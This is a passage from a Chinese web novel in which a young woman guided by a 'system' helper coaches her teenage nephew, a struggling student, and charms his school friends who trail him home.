陆季燃接着问了句：“你开店了啊？” 红灯亮起，丁香紫的轿跑停在斑马线前。 陆季燃看见池又青一贯明媚的眼眸中闪过一抹暗沉。 她极快地抹掉这情绪，笑着说：“想什么呢？怎么可能。” 行人从车前走过，晚间月色平等地落在每个人的身上。 池又青两手搭在方向盘上，等着长达120s的红灯过去，看着蹦蹦跳跳的小女孩被妈妈牵着手过马路，掌心还握着一只刚从商超买来的魔法棒。 她把下巴搭在手背上，看着因为一个玩具就高兴无比的小女孩说：“开店不是那么容易的事，要做自己的品牌，更是难上加难。” “我啊，在设计这件事上，实在没什么天分。”池又青偏头看向坐在副驾驶的少年，语气轻松，仿佛这些话已经说出口过千次百次，“陆季燃，比起设计，我还是更爱花钱。” 对面右转的车驶过，车头的两盏大灯穿透挡风玻璃，从池又青的脸上滑过，将她眼睫微微下敛后落下的阴影一览无余地显现，就像一小团乌云，静悄悄地浮着。 陆季燃的心脏忽地一疼，小树的枝尖被什么东西莫名地掐了把，一晃，叶子都落下。 他意外地发现，他不喜欢看到池又青的脸上露出这种表情。从相遇到至今，陆季燃第一次看到的这种表情。 他不喜欢。 他本能且倔强地在心里生出一个念头：不该这样。 这是池又青啊。 闯进办公室胡说都底气十足，大清早开车招摇地等他，对着董旭如视蝼蚁盛气凌人，又会弯腰笑着握住阿婆的手。 她是这样的池又青。 世上的所有乌云都该绕着她走。 而不是像现在这样，偷偷地积聚沉郁。 一股无名的心气涌上来，没有缘由的，陆季燃的胸口烫得像刚刚喝下灼烧过的白水，浑身都在发热，脑子却格外清醒。 “池又青。”他一字一句地说，“来打个赌吧。” 难得见陆季燃这样主动，池又青好奇：“什么？” “你不是想让我好好学习吗？如果我做到了，池又青，你就去做你真正想做的事吧。” 少年望着她，脸上写满了这个年纪才有的毫无根据的自信。明明读了一天书什么都没看进去的人是他，明明睡了好几节课还在懊恼的人也是他。 可现在，他眼眸发亮，十月的天气，秋月寂冷，夏日的热浪却出现在他身上。 某种无畏的情愫顺着车内狭小的空间蔓延。 池又青愣了下，继而扬起嘴角，在绿灯变换的一瞬间，换挡踩下油门。 停滞片刻的紫色成为临江大道的夜色里最飒丽的倩影。 她听到自己声音愉快地说：“好啊，陆季燃，我跟你赌。” 第24章 第24章陆哥被富婆包养啦！ 江城九中校园墙： 【投稿】 墙墙，麻烦帮我发帖找个人～ 刚刚在操场戴耳机 跑步背单词的男生，好帅哦，哪个班的啊？有没有女朋友？如果没有的话，帅哥，你看我可以吗/狗头叼玫瑰 放一张模糊的偷拍，给姐妹们品品！大清早给我帅醒了，嘻嘻，感觉这个破学又能再上一天啦！ [图片] 匿匿匿！求狠匿！谢谢墙墙！- 白盛飞一如既往地在上学路上刷校园墙，没办法，他枯燥乏味的高中生活也就这点乐子。 指尖飞快地滑过屏幕，瞅到这一条消息时，先是不屑，心想：蛤？江城九中还有比他帅的？ 顺着点进去，放大，认真端详。 好吧。 是有点帅。 扣在头顶的灰色连帽衫下是随着跑动而晃悠的耳机线，领口微敞，校服拉链散着，露出内搭衣服上极具设计感的logo。 白盛飞一眼就看出来这是哪家的衣服。 卧槽，还是个小富哥。 他怎么不知道他们学校里有这号人呢？又富还爱学习，大清早发癫，去操场跑步背书，这不纯有毛病？ 白盛飞在心里吐槽一圈，目光又到照片上，眸光凝住，反复将这张小糊图上男生的侧脸放大缩小又放大。 脑海里倏地浮现出一个让他自己都不敢相信的猜测。 一到学校，他就奔着五楼去，跑得极快，气喘吁吁，一旁的同学见了纷纷给他让道，还以为他出了什么大事。 白盛飞推开高二十八班的后门，左手撑着门板，右手撑着膝盖，脊背弯曲，大口大口喘气，两眼却炯炯地看着这个点已经坐在位置上看书的某人。 “不是吧！”白盛飞一下扑过去，不敢置信地撑着陆季燃的桌面，“陆哥，还真是你啊？” 陆季燃正在速记英语文章，推开他碍事的蹄子，在本子记上下关键单词，听完一整段，他才在MP3按下暂停，取下耳机，问：“什么是我？” “校园墙啊！”白盛飞说完后反应过来，陆季燃从来不看这种东西，甚至没加校园墙的账号，于是把自己的手机递过去，“你瞧瞧，这条又爆了。上次校园墙发东西这么爆的时候，还是那天来警察的时候。我发现你这人真有点爆款体质。” 陆季燃扫了眼，评论区已经变成无人区。 还有侦探大清早在绞尽脑汁，思考图上这位究竟是哪路神仙。 有人提出猜测：会不会是校霸啊？这侧脸我越看越像啊。 底下有人反驳：这个点，校霸？跑步？背单词？是你没睡醒还是我没睡醒？ 还有人说：不可能＋1，高二那位一头杂毛，发型不长这样的，而且他没这位会穿。图上这个感觉衣品很好啊。 陆季燃不感兴趣，抬手拿起耳机就要戴上，白盛飞赶紧摁住他。 “陆哥。”白盛飞如临大敌，“你就没什么想解释的？” “你这mp3又是拿来干嘛的？”白盛飞好奇，凑上去想看，被陆季燃一把推开脑袋。 “没什么。”陆季燃不会告诉他，这是池又青专门给他准备的。 在他脑子一热决定要和池又青打赌以后，池又青回家，把一早准备给他的东西都拿了出来。 ipad上是花里胡哨的手写封面标题，《小燃子学习改进计划》几个字显眼极了。 往后几页，都是池又青找到的改善阅读障碍的办法。 “我外网内网都查了查，还找教育专家问过，方法还挺多的。有用色卡做强调的，有把句首字或者英语单词前两个字母标色，用来做突出的。” “还有啊，就是我给你那个mp3，里面都存好了一些音频，你要是读不进去，你就听，说不定多听几遍，就能听懂呢？本来想着直接给你存手机里，又怕你听着听着玩手机去。” 陆季燃抬手摸摸鼻头有些心虚。 “要还不行，你就把知识点跟曲谱串一起，记歌词一样，试试会不会好些。” 陆季燃低头，小小的mp3在他的掌心存在感极强，成套的色卡和重点涂画笔摆在茶几上。 它们无一不在彰显准备者的用心。 陆季燃已经有很长时间没被人这样在意过，也没人过问他的学习。成绩下滑，陆屹早两年还在意，后面就不在乎，在外面提起他，都说：“那有什么办法？就是养了个废物。” 那个时候，董丽生的同父异母弟弟已经开始展露天赋，的确也比他聪明，小学就开始跳级。两口子紧着他来，陆季燃就站在三口之家之外。 被赶走的时候，他甚至松口气。 他早早习惯一个人，习惯被误解，习惯不被期待，不被在乎。 池又青的出现，却好像把这些习惯都改变。 “真要和我打赌？”池又青瞧着他，问，“那第一步，往后一个月都要早起，做得到吗？” 陆季燃：“行。” 池又青：“今天起早困吗？” 陆季燃犟，说：“还好。” 对自己上课睡觉的事只字不提。 这在他们班实在算是正常。 江城九中两极分化严重，头部班级搞竞赛，能在全市统考里名列前茅，甚至能跟省城的学生一拼。 尾部班级，就他们和隔壁十七班，老师走进来都默认没人会听。 在这班里的，要么是一年到头在学校待不久要去集训的特长生，要么就是死猪不怕开水烫，真就学不了几分的。 他典型属于后者，心态上却多几分自暴自弃。 学了也没用，更没人在乎。 才接手十八班的新老师周正然曾经试图纠正这种上课就睡的班风，后来发现，有经验的科任老师说得没错，还是睡着好。 睡着起码不吵。 陆季燃对这种班级氛围习以为常。 今天突然早起看书这事，反而叫他成为班级里的特例。 mp3把玩在掌心，指腹反复在触控钮上摩擦，陆季燃藏起满眼的深深心思，去摆弄池又青买来的色卡。 有一搭没一搭，不知道在想什么。 池又青拍拍他：“这两天你先试试这几个办法有没有用。我还在物色家教呢，我也就英语这门课能看，别的都不行，还是争取尽快找到专业的人来帮你。” 陆季燃没想到池又青这么认真。 播放器的边缘被他用力摁进肉里，掌心有些疼，胸口暖呼呼的，沉甸甸的。他忽然感觉自己的肩头有了些许重量，不难受，反而叫他更清楚地意识到，他现在到底站在哪里，在做什么。 原来这就是被人期待的感觉吗？ 陆季燃低垂着头，嗯了一声。 晚上睡觉前，陆季燃照例坐在床上，背靠软垫玩游戏，余光却不住地瞟到放在一旁的mp3。 他心不在焉，白盛飞喊他好几声也没听见，白白送了人头，变成盒子被人舔。 “老大，你怎么回事？我跟你报好几遍点位，说那边有人，让你别晃。”白盛飞在语音里崩溃，“出啥事了？” “没。”陆季燃摁住语音钮，“有虫子飞进眼睛，我去弄弄，你们先打。” 退出游戏，手机扔在一旁。 陆季燃先进洗手间，洗脸刷牙一条龙结束后，犹豫片刻，还是打开了池又青今天买来的面霜。第一次涂这种东西，陆季燃只觉得手感有些微妙。 等他反应过来，看向镜子的时候，他已经在用今天新学的手法在脸上打圈。 陆季燃：“……” 他沉默地拧开水龙头把手上粘黏的触感洗掉，甩干手，发现水珠到处都是，实在碍眼，干脆顺便打扫房间。 垃圾袋打结系紧放在门口，陆季燃拍拍手。 他看了下时间，还没到九点。 时间什么时候过这么慢了？ 老白和小胖已经进新一轮，他赶不上趟。好吧。陆季燃看着mp3，心想，那没办法了，他就在等待的时候顺便听听看吧。 开机一划拉，看着分门别类标好的文件与文件名，陆季燃愣了下，接上无线耳机，随意点开一个文档。 女人的声音熟悉且清晰，是池又青。 她在念英文，开读之前，还用中文讲了遍题目，期间没那么死板，夹杂着一些碎碎念。 “高中英 语必修第一册，WeeUnit1，ReadingandThinking，FIRSTIMPRESSIONS…………” “这个短句你记一下，我再读两遍。” “诶，这个湖滨高中的安威尔斯，介绍也太假啦，喜欢跳舞和物理？你听听，记下句式，别的都就算了。” 陆季燃觉得好笑，等他反应过来的时候，他已经一边认真听着，一边起身翻箱倒柜地找教材。 必修第一册，看起来该是高一学的。 找半晌后，陆季燃站在柜子前，忽然想起来。 他的书，每学期结束，好像都在楼下阿婆卖废品的时候，一道跟着卖掉。 从未想过自己有一天会主动想要看书的陆大校霸，第一次在学习上品尝到后悔的滋味。 早知道就不卖了，也没几块钱啊。 回忆到这，陆季燃转头看向白盛飞，问：“你高一的英语书还在吗？” 白盛飞被这突如其来的话题搞得有点茫然，摸摸自己的小卷毛，说：“在啊，我妈每学期都给我收拾着呢。” “这两天借我用用。”陆季燃说，“等买的新书到了还你。” 白盛飞浑身鸡皮疙瘩都起来了。 他见鬼一样看着陆季燃：“不是，陆哥，你这是玩哪出啊？你别吓我啊！” “我以前也没见你穿过这衣服啊，哪来的？” “还有你这头发，什么时候去打理的？我去，陆季燃，你居然还修了眉！！” 陆季燃一把捂住白盛飞的嘴，将他的尖叫封在掌心里。 白盛飞的眼珠子里充满了浓浓的震惊。 “以后跟你解释。”陆季燃说。 白盛飞瞧他这样，心里已经有答案，哼了一声，说：“得，我已经猜到。跟你书包上那个菜头娃娃有关系吧？” 陆季燃怔了下，嗯着点头。 “她多大？”白盛飞好奇。 陆季燃整理着耳机线，说：“不知道，反正比我大。” 白盛飞：“什么时候让我们见见？” 陆季燃：“再说吧。” 白盛飞噫了声，讲：“好吧好吧。” 陆季燃：“还有事？” 白盛飞举起双手离开他的桌子：“没事了，您学，您学。” 瞧着陆季燃重新戴上耳机，一边对照课本，一边在笔记本上写东西，白盛飞心中升起一股恍若隔世的惘然。 今年到底是几几年？ 他从没想过有一天，能看到陆哥学习，还能看到陆哥被富婆包养。 是的，包养。 白盛飞自认已经推理出最合理的情况。 所以在袁源来学校的时候，拉着他站在一旁，指着在喧闹的教室里翻书的异类陆季燃，说：“懂了吗？这就是爱情的力量。” 袁源摇摇头：“不，不对，我、我还是觉得陆哥没谈。” 白盛飞：“那你怎么解释他现在这么反常？” 袁源解释不了，只能说：“反、反正不像在谈！” 白盛飞干脆跟他打赌：“两百块，外加一顿小兵烧烤，今天下午放学跟踪陆哥，看看谁才是对的，如何，干不干？” 两百块，够他这周加餐好多，小兵烧烤也有段日子没吃，袁源有些馋，口水都快流出来，但理智告诉他，这事很有风险：“要是陆哥知道……” 白盛飞嘘了声，说：“笨，那就别让他知道！你看他现在，跟被人下蛊一样看书，走哪都带耳机，绝对发现不了我们！” 第25章 第25章你才是我的家人啊。 江城教改，一早取消晚自习。 下午放学，高二十八班的学生一窝蜂冲出去，原本安静一下午的教学楼在最后的下课铃响起后变得沸腾。 白盛飞坐在位置上，抱着自己的斜背挎包，跟袁源交换个眼神。 陆季燃睡了一下午，此刻醒来，把东西往包里一塞就起身，跟他俩打了个招呼：“走了。” 袁源心虚，紧张地不敢回答，白盛飞心态倒是很好，还主动邀约：“陆哥，一起走吧？去网吧玩玩？” 陆季燃拎着书包摇头：“你们玩。” 他脸上还有几分刚睡醒的倦意，右脸颊上残留着些许书本的印记，在他冷白的皮肤上发红。 白盛飞可惜地说：“好吧，那你先走吧，再见啊陆哥。” 等陆季燃出了教室，白盛飞马上猴似的弹到袁源身边，抓上这位楞货，往教室门外看。 确认陆季燃已经走进楼梯，白盛飞立刻带着袁源跟着往外走，并且始终和陆季燃保持一定距离，遇到眼熟的人，在对方开口喊老白之前，白盛飞就冲过去把人的嘴巴捂嘴，特别严肃地举起食指凑到唇边嘘一声。 跟踪，他们是专业的！ “奇怪。”白盛飞远远地看着陆季燃直接朝着校门外走，跟袁源说，“陆哥这几天上学都没骑车吗？” 袁源圆圆的眼睛里是一览无余的茫然：“我不造啊。” 白盛飞：“……” 白盛飞恨铁不成钢：“赶紧点，别往小卖部的方向看了，跟上！” 白盛飞做好了长期跟踪陆季燃的准备，甚至在头脑里规划好，如果陆季燃是要坐公交，他该如何悄无声息地跟他混上一辆车而不被发现。 结果，陆季燃只是出校门，往外，到红绿灯的位置，右转，再走一截，过马路，然后，站在一个大门口修着雕塑喷泉的高端小区门前，刷脸，进入。 白盛飞：“……” 袁源：“……” 这下不用白盛飞问，袁源都察觉出不对：“陆、陆哥怎么来这？” 他们都知道陆哥的家住哪，得过大桥到老城区才行。 白盛飞咬紧牙：“别管，走，混进去。” 袁源：“咋、咋混！” 白盛飞的脸皮实在了得，淡定自若地在大门外蹲守半天，等到有业主回家，昂首挺胸准备跟着混进去。 “嘀——” 电子门卡住，将他和袁源拦在外面。 安保人员尽职得有点过分：“你俩有点面生，不是住这的吧？” 袁源早就吓得面红耳赤，紧张得说不出话。 白盛飞也没想到这安保大叔眼力这么好，一来就将他们两个揪住，当下有几分慌乱。脑子疯狂打转，试图冥思苦想一个借口。 “何叔，他们是跟我一块的。”女人的声音从后面传来。 很干净的声音，白盛飞莫名觉得耳熟，回过头，瞧见的是位大美女。 卧槽！ 开豪车的女神！ 人美心善啊漂亮姐姐！ 白盛飞终于从安保大叔手里逃脱的时候，眼泪都快掉下来，乖得不行地说：“谢谢姐姐，谢谢姐姐。” 池又青被他逗笑：“小事。” 她还记得这俩男孩。 就是她翻墙进学校那天碰见的，之前就猜他们和陆季燃认识，刚刚被系统提醒，更是确认，这两位就是小说里校霸的铁哥们。 “来找陆季燃？”池又青问。 白盛飞眼睛都亮了：“嗯！姐姐你知道他啊？” 听白盛飞这话，池又青就懂，陆季燃没跟他俩提自己的事。池又青也不擅自做主说出来，讲：“对，他现在住我楼上。” “我带你们过去？” 白盛飞连连点头，乖得跟狗一样，就差没摇尾巴了：“好的姐姐，太谢谢啦。” 池又青笑笑，领着他们走。 袁源从看见池又青那瞬间起就说不出话了，一张脸红得跟刚刚烤好的蜜薯一样。也不敢直视池又青的眼睛，只能偷偷瞟。 白盛飞瞧见他的表情，顿时有种扬眉吐气的爽快！ 哈哈！让袁胖子之前嘲笑他呢！也不照个镜子看看，自己现在到底什么模样！ 白盛飞嘚瑟地冲袁源扬眉，拿出手机打一行字：真女神吧？我可没骗人。 袁源紧张啊！ 看见池又青好像要回头，赶紧一爪将白盛飞的手机推开。 白盛飞一个没拿 稳，手滑，机子直接飞出去掉进旁边的水池里，池子很深，除非白盛飞跳进去，根本捞不出来。 白盛飞嘴巴大张：“卧槽……” 袁源的手悬在半空，表情尴尬至极。 池又青本来只是想回头看看他俩跟上没，一见这场面，无奈，让白盛飞别慌，立刻打电话给物业，请人来捞。 五分钟不到，白盛飞的手机被抢救回来。 “还能用吗？”池又青站在一旁问。 白盛飞怎么都开机不了，心在滴血，死胖子三个字骂了八百遍，面上还得在池又青面前装淡然，维护他这点少男颜面。 “问题不大。”白盛飞说，“没事的姐姐。” 池又青哪里看不出他这点小心思？明明低头仔细查看手机的时候一脸苦瓜相。 走两步甚至听到白盛飞和袁源在后面自以为小声地互怼。 “你牛蹄啊力气那么大。”白盛飞抱怨，“这可是我开学才换的手机，要是被我妈知道，我屁股绝壁要被揍烂掉。” 袁源内疚，却还是忍不住说：“你怎么也不拿稳点？真、真坏了吗？老白，要不我凑、凑钱给你买个？” 两小只叽里呱啦，池又青目视前方，看似人还在，特别成熟地带路，其实心思已经飘远。 这些小孩什么时候能知道呢？ 上课说话是听得见的。 在人背后说话，当然也是听得见的。 池又青听着他俩麻雀一样叽叽喳喳，到了单元楼，瞧见陆季燃正好下楼丢垃圾，冲他大力地招手，喊：“小燃子！” 陆季燃把黑色的垃圾袋甩进绿色桶中，眉头紧锁，本能地回了一句：“都说了，别那么叫我。” 抬头一看，池又青站在他面前。 还有两个不该在这的也在，从池又青的身后探出脑袋。 陆季燃：“……” 什、么、情、况？ 白盛飞先打招呼：“陆哥陆哥，好巧啊，居然在这碰见了。” 陆季燃跟白盛飞做了久的兄弟，白盛飞屁股一撅他都能猜出此人要拉什么屎，看他的表情就知道，这一点也不是巧合。 “你们跟踪我？”陆季燃反应极快。 袁源崩溃地抓着白盛飞的手臂：“老白，你、你不是说陆哥不会知道吗？” 白盛飞嘴角一抽：“傻叉，谁让你说出来的！” 感受到陆季燃和美女姐姐的目光都聚焦在自己身上，白盛飞忙说：“我没有恶意！陆哥！我就是好奇！” 池又青加入对话：“好奇什么？” 白盛飞忙说：“陆哥最近变化太大了！我就和袁胖好奇，想知道他为什么会这样。” 池又青来了兴趣，瞄陆季燃一眼，刚跟她的目光触碰上，陆季燃就害臊般转过头去。 池又青冲白盛飞笑，问：“他在学校变化很大吗？” 白盛飞被这笑容迷晕，整个人都在飘，甚至感觉自己现在脚下踩的不是水泥地，而是软乎乎的棉花。 “大！特别大！”白盛飞赶紧回答，本能地在池又青面前表现自己，“漂亮姐姐，我跟你说，陆哥这两天，在学校都看书的。他以前哪看这种东西啊？两手空空到教室，两手空空地走，现在居然还背书包！” 池又青哇哦一声，看见陆季燃脖子都红了，又问：“在你们班，看书很稀奇吗？” 白盛飞嗐了一声：“漂亮姐姐，你是不知道啊，我们班可是全年级最后一个班，你看过《终极X班》吗？除了没那个超能力，其他的都差不多。” “陆哥以前在我们班更是——” 白盛飞的话说不下去了。 因为陆季燃实在是忍无可忍，踹他一脚：“说够了没？” 白盛飞倒吸口气，又听陆季燃说：“你叫她什么？” 白盛飞愣了下，没明白：“叫谁？” 陆季燃看了眼明显在看戏的女人，蹙眉，抬了抬下巴，讲：“她，池又青。” 被介绍的池又青莞尔一笑，调皮地冲着白盛飞和袁源挥挥手，动作矜贵得像坐在加长版林肯里的公主对着窗外挥手。 白盛飞脸红，说：“原来漂亮姐姐的名字叫池又青啊。” 陆季燃一巴掌拍上他的脑门，咬牙切齿，难得叫了老白的全名：“白盛飞，你这见人就喊姐姐的毛病能不能改改。” 白盛飞不明所以，也不懂陆季燃为什么有点生气，捂着后脑勺，冤枉：“不喊姐姐喊什么？难道喊阿姨吗！” 他的情商和绅士风度决不允许他对眼前的女人喊出这两个字！ 陆季燃显然想说点什么，但是憋了半天，也没憋出个屁，最后只凶巴巴地说：“反正不准喊姐姐！” 好像从他嘴里说出那两个字跟要了他命一样。 池又青替他解围，主动跟白盛飞说：“白同学，陆季燃他不是那个意思。再补充介绍一下，我叫池又青，是陆季燃的小姨。” 白盛飞点头如蒜捣，脑子没反应过来，嘴巴就先接上：“好的好的，小姨你好，不用叫我白同学，叫我小白就可……啊？？” 小姨？！？ 白盛飞眼珠子都要滚出来。 一旁的袁源也张大嘴，显然被这信息量给搞得有点震惊。 反复在陆季燃和池又青身上来回看几圈，白盛飞没忍住，卧槽一声。 “陆哥，你真有小姨？！你之前不是说他们都在胡说，你根本没什么小姨吗！！” 白盛飞急得恨不得掐着陆季燃的脖子来回晃。 陆季燃在藏什么啊！ 要是他有这么一个漂亮又有趣的小姨，他恨不得昭告天下好不好！！ 白盛飞此话一出，陆季燃立刻本能地扭头去看池又青的表情。果不其然，此女的脸上已流露出做作的叹惋与经不住推敲的伤心：“小燃子，原来你在心里就是这么想我的吗？” 明明知道她是戏瘾犯了，说这番话就是为了逗弄自己，可陆季燃还是忍不住，慌乱地说：“不是不是，我没有！” 白盛飞嗷一声：“你有！你原话就是这么说的！” 陆季燃舌尖顶过右腮，瞪眼这帮倒忙的兄弟。 白盛飞缩缩脖子，见风使舵的超强眼力见和猴一样的机灵劲已经使得他敏锐地意识到这个时候站在哪里是最安全的。 身形一晃，白盛飞站到池又青身后，并且求救般大叫：“小姨！帮我！” 陆季燃炸了：“白盛飞！你喊谁小姨呢！” 他撸起袖子就朝着白盛飞冲过去，白盛飞当即绕着池又青逃跑，边跑还边委屈地说：“姐姐不让喊，小姨也不让喊，陆哥，那我喊什么？难不成喊祖宗吗？” 池又青被他俩这汤姆杰瑞般你追我赶的架势弄得头晕，紧急叫停：“斯岛普——！” 陆季燃跟个声控灯一样，听见响就被定住。 白盛飞还在跑呢，转头看，见他这么听话，得意一笑，结果得意过头，没注意，迎面撞上树，鼻子都被磨破皮。 陆季燃：“……” 袁源：“……” 池又青：“……” 被池又青邀着进入陆季燃住所上药的时候，白盛飞心里都是绝望的。 他今天怎么这么倒霉？ 一看见陆季燃的新家，得知他现在一个人住，捂着血流不止的鼻子参观完音乐房和池又青刚置办的电脑角，还有满满一衣柜的帅气衣服，崭新的球鞋更是别提，直接塞满整个鞋柜。 白盛飞更绝望了！ 自己的悲惨固然让人伤心，但是好兄弟的幸福更让人崩溃。 陆季燃是走了什么狗屎运啊？ 他怎么就没这么个小姨呢！ 好在幸运最终还是降临在他的身上。 和袁源从陆季燃家离开，输掉两百块和一顿烧烤的白盛飞正emo着呢，池又青就拿出两个袋子，一个递给他，一个递给袁源。 “这些年谢谢你们照顾陆季燃。”池又青瞧着面前两位小朋友，“随手准备了点小礼物，你们带回去。” 袁源当即摆手：“不不不不要。” 池又青把袋子塞他俩手里：“拿着，就当是小姨给的见面礼。” 白盛飞知道拒绝不掉，看了眼陆季燃默许的眼神，赶紧嘴甜地说了谢谢，拎着袋子和袁源一块对池又青鞠躬，进了电梯。 电梯门刚喝上，忍不住拆开袋子的袁源尖叫：“啊啊啊！GW的入住券！老白！老白！我能去吃米其林餐厅了！！” 呵。 白盛飞想：没见识的家伙。 他也打开袋子。 电梯里一下响起尖叫二重奏：“啊啊啊啊！最新款手机！！！卧槽卧槽卧槽 ！！！！我屁股保住了！！！不用开花了！！！” 陆季燃是第二天去学校发现这事的。 白盛飞把手机拿出来，又狂对他道谢，表示无以为报，只好把未来一个月的午餐包了。 食堂卡往外一掏，端的是在商场刷黑卡的架势。 陆季燃的重点却不在这：“她给你送手机了？” 白盛飞昂一声：“对啊，还给胖子送了入住券，上万块一晚的房间，还免费包三餐，他就等着周末去体验呢。” 白盛飞问题很多，全都是关于池又青的，显然对这个好哥们的新小姨充满好奇。 “陆哥，你小姨干啥的啊？以前咋没来找你？怎么现在又突然出现？还有那房子——” 陆季燃一句都不想回答，心情很差，把耳机塞进耳朵里，看了眼，白盛飞的新手机，跟他一直放在抽屉中没舍得用的是一个型号。 嘴角紧抿，绷成一条硬邦邦的直线。 “陆哥，有人找。”班上的同学在门口抱着篮球喊。 陆季燃戴着耳机没听见，还是白盛飞推他，他才起身，边走边摘下耳机。 站在班门口的是个学妹，身上穿着高一的校服，小脸红红，长得特别可爱。 同学都起哄，勾肩搭背站在一块，脸上写满八卦。 “哇哦，陆哥～” “陆哥这是红了啊！这都是今天第几个了！” “校园墙那篇寻人你看了吗？好像是因为最后有人扒出来就是陆哥，都跑来凑热闹呢！” 陆季燃冷扫他们一眼：“很闲？” 喳喳哇哇的少年们即刻散开。 低眸瞧着眼前局促紧张的女孩，陆季燃问：“有事？” 小学妹抬头瞄眼他，被他冷冰冰的语气弄得紧张，转头看了眼等在一旁的好友，在好友的眼神鼓励下，拿出藏在身后的小礼品袋，袋子一看就是精心挑选的，粉蓝色，印着许多可爱的小萌物。 袋子呈半透明，隐隐能够看见里面有一个信封，还装着什么别的。 小学妹将袋子举起：“陆学长，这是我自己编的手链……” 话还没说完，陆季燃就皱起眉：“谢谢，我不需要。” 他转身就走，半点面子都不给，小学妹却出声喊住他，着急地解释：“不是！陆学长，这个不是给你的！” 陆季燃脚步一定：“？” 躲在一旁听八卦的同学都竖起耳朵。 小学妹声音细弱地说：“那个，陆学长，你还记得我吗？那天火锅店，我生日。结账的时候才知道，你小姨替我买了单，还给我们画了画。” 小学妹的眼睛里写满了仰慕和感谢，声音脆脆甜甜：“我想跟她说谢谢，麻烦你把这份小礼物转交给她，可以吗？” 陆季燃拎着手里的小礼品袋回座位时，人都是懵的。 白盛飞和袁源凑过来。 “陆哥，稀奇啊。”白盛飞看热闹道，“认识你这么久，第一次见你收下这种东西。老实交代，什么时候招惹的学妹？” 陆季燃心烦意乱，把礼品袋塞进桌肚里，没好气地说：“想什么呢？东西不是给我的。” 白盛飞嘴巴大张：“啊？那是给谁的？” 陆季燃懒得解释。 晚上放学把东西拿给池又青，池又青脸上露出了一种被萌到融化的表情，捧着礼品袋，笑着说：“小苹果这么可爱？” “小苹果？”陆季燃重复着她说的这个亲切又可爱的昵称。 池又青：“嗯呐，你不觉得那个妹妹脸圆圆的，一红就像个苹果吗？” 陆季燃完全记不得对方长什么样，板着脸说：“不觉得。” 池又青迫不及待地拆开礼品袋，信封是淡粉色，透着香味。亲手编织的手链被包在特意准备好的塑封袋里，还放了些布灵布灵的小物件做点缀。 池又青把手链戴在腕上，欣赏一番，又问陆季燃：“怎么样？” 陆季燃心情不佳：“一般。” 池又青点评：“没品味的家伙。” 陆季燃瘪嘴，看着她极为兴奋地拍照，发朋友圈，他偷瞟了一眼，配文是‘今日的小幸运（*^^*）’，似乎还在微信上跟朋友们分享，发语音发得比谁都勤快。 他没忍住，问：“你给白盛飞送手机了？” 池又青一边回亲友的消息，一边头也不抬地说：“对啊，他原来的手机掉小区池子里坏了，正好之前给你买手机的，店内搞活动，88折一台，顺手多买了点。” 陆季燃不知怎的嘴角上扬了些许。 哦，顺手啊。 他瞄过池又青手腕上格外醒目的粉蓝色的编织手链。 她接连两天都戴着，该手环成功踹掉一众大牌，变成她的心头好。 有这么喜欢吗？ 陆季燃不明白，但在放学陪老白和小胖逛商品集合店的时候，没忍住，顺手拿了几根编织带，趁着老白和小胖没注意，悄悄结了账，做贼一样。 他没别的意思啊。 就是想证明下自己的动手能力。 几天后，池又青又收到一个回礼。 陆季燃硬邦邦地说：“她又送了东西。” 池又青瞧着面前的编织手链，看得出来编的人很用心，她问：“小苹果送的？” 陆季燃昂了一声，讲：“不然？” 他瞄了眼池又青手上正戴着的那条：“你换着戴也行。喂……你笑什么？！” 池又青接过他手里那条，在眼前欣赏，笑得眼睛弯弯，说：“没什么啊。” 陆季燃可能不知道。 在小苹果写的信里，除了颇具洋洋洒洒写了一堆那天收到画的感谢外，还留了自己的联系方式。 如果说收到小苹果的回礼对池又青来说是一种意料之外的柔软，久违地让她意识到，原来她的画作不是一无是处，也能够帮一个沮丧的小女孩晴转多云，心情好起来。 那收到眼前这倔驴侄子口不对心的别扭礼物，对池又青来说，就像是喂了大半年的狗终于喂熟的感慨。 就像路边倔强的小黑在见到她的时候，终于会摇着尾巴上前撒娇。 池又青瞧着眼前的手链：“这个配色选的不错，下次能换个别的吗？淡紫色应该很好看，再串个珍珠。” 陆季燃下意识说：“有就不错了你还挑。” 回嘴以后，他又反应过来：“跟我说什么？又不是我编的！” “好好好，不是你编的。不过，陆季燃。”她撑着脸笑着问，“你该不会在吃醋吧？” 陆季燃整个人当场就点着了。 “胡说什么！”他一下站起来，“跟我又有什么关系！” 池又青扑哧一笑，讲：“放心啦，不管是小苹果还是白盛飞，他们都跟你不一样。” “你才是我的家人啊。” 少年不再毛躁的脑袋被女人轻轻拍了拍。 陆季燃心里正软塌一片，又听池又青书：“这两天学得怎么样？给你新找的家教如何？对人礼貌点，别一来就把人吓跑，知道吗？” 陆季燃：“……” 陆季燃：“…………” 他哀怨地看眼池又青，说：“行，我知道了。” 池又青又说：“之前你跟我打赌，我想了想，还是目标明确一些比较好。” “所以，陆季燃，十一月期中考，你打算进步多少名？两百，怎么样？” 第26章 第26章池小姐，那天是个意外。…… 进步两百名—— 陆季燃趴在书桌上，右侧脸颊被压住印子，双眼绝望地看着面前的课本。 那可是两百名啊。 就当池又青什么都不懂，狮子大开口，他何必为了一时耍帅，想也没想就答应？ 冷静下来，客观地琢磨，他跟两百名只怕是隔着国境线从南到北的距离。 后悔。 陆季燃现在就是纯后悔。 但凡他以前多学点，现在也不会如此艰难。 他一边 绝望，一边咬牙直起身，两巴掌拍上自己的脸，把自己弄清醒后，摊开课本，开始狂啃。 这个年纪，谁读书不是一边骂一边学？ 不就是个破两百名吗？他还真就干拼了！ 楼下。 052担心地说：【宿主，你就直接把目标告诉他吗？会不会让他太有压力？】 池又青把刚刚指使陆季燃洗好的蓝莓果子塞进嘴里，说：【他以前就是太没压力，现在这样正好。】 052：【可是任务目标不是188名吗？你给他说200名做什么？】 池又青：【这你就不懂了吧？求其上者得其中，我这两天刚学的词呢。目标定高点，才有波动空间。我没跟他说三百都算我客气。】 咬碎蓝莓，感受着清甜微酸的果肉在嘴里爆开，池又青百无聊赖地翻着系统界面，忽然问：【我的成就点怎么变这么多了？是咋回事？】 052解释：【你没看系统提示吗？之前野山赌场的事终于结束，系统清算了一波，给你发放了奇遇事件奖励。】 【还有，董旭的事也尘埃落定，跟你料想得差不多，赌场那边的人以为是他泄密，为了报复，半道把他弄走，现在他估计……】 池又青嗤笑一声：【边水往事之董旭版是吧？】 也不知道董旭能活几集。 她就祝他好运吧。 052：【还有个小插曲，不知道宿主你想不想听。】 池又青：【什么？】 052：【董旭之前有机会打电话联系家人求助，他借手机打给了陆季燃的后妈，也就是他亲妹妹董丽，哪知道董丽没接。又打给陆屹，结果也被董丽挂了。】 池又青猜测：【她该不会以为这电话是陆季燃打过去求救的吧？】 